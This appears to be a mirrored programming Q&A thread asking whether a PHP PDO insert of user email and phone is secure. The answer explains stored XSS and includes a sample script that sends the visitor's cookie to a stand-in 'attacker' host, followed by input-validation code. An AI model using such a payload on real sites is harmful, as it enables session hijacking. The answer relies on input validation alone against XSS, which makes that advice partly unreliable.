douxi1738 2016-08-20 20:49
浏览 45

这个PDO脚本是否安全?

I see that there are a lot of articles on this, but in general what are the best practices when using PDO with user generated data?

I assume that this is safe.

<? 
$user_phone = $_POST['user_phone'];
$user_email = $_POST['user_email'];

$insert = $db->prepare('INSERT INTO user (user_email, user_phone) 
                        VALUES (:user_email, :user_phone)');

$insert->bindValue(':user_email', $user_email, PDO::PARAM_STR);
$insert->bindValue(':user_phone', $user_phone, PDO::PARAM_STR);

$insert->execute(); 
?>
  • 写回答

1条回答 默认 最新

  • douxue7196 2016-08-20 21:00
    关注

    While a user cannot exploit the database by means of injection, it is still vulnerable by other means.

    You don't check the validity of the data you put into your database. While it is not exactly required to do so but if I would submit this as an email address or phone number:

    <script>
    window.location='http://attacker/?cookie='+document.cookie
    </script>
    

    And you echo this out on your website and visit it, you will be redirected sending me your login cookies and now I can use that data to login as you and if by any chance you're the site admin... The type of attack is called XSS.

    And by not checking the validity of the data, there are many ways to do so but take this as an example:

    $phone = $_POST['user_phone'];
    $email = $_POST['user_email'];
    
    if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
        # if this is true, the email address has a correct format.
        # see the filter_var manual for more information.
    
        if(is_numeric($phone)){
            $insert = $db->prepare(
               'INSERT INTO user (user_email, user_phone) 
                VALUES (:user_email, :user_phone)'
            );
    
            $insert->bindValue(':user_email', $email, PDO::PARAM_STR);
            $insert->bindValue(':user_phone', $phone, PDO::PARAM_STR);
    
            if($insert->execute()){
                echo 'success!';
            } else {
                echo 'failed to execute query.';
            }
        } else {
            echo 'phone number is incorrect.';
        }
    } else {
        echo 'email is not correct.';
    }
    

    With this code, any data saved will be valid. It does not say that the email address exists noor the phone number.

    Since most XSS attacks rely on < to allow a Javascript execution, it is negated cause the < character is not allowed in an email address.

    My advice, check if the data is what you expect it to be before saving it instead of storing it and fix the security issues later.

    评论

报告相同问题?

悬赏问题

  • ¥15 关于#matlab#的问题:在模糊控制器中选出线路信息,在simulink中根据线路信息生成速度时间目标曲线(初速度为20m/s,15秒后减为0的速度时间图像)我想问线路信息是什么
  • ¥15 banner广告展示设置多少时间不怎么会消耗用户价值
  • ¥16 mybatis的代理对象无法通过@Autowired装填
  • ¥15 可见光定位matlab仿真
  • ¥15 arduino 四自由度机械臂
  • ¥15 wordpress 产品图片 GIF 没法显示
  • ¥15 求三国群英传pl国战时间的修改方法
  • ¥15 matlab代码代写,需写出详细代码,代价私
  • ¥15 ROS系统搭建请教(跨境电商用途)
  • ¥15 AIC3204的示例代码有吗,想用AIC3204测量血氧,找不到相关的代码。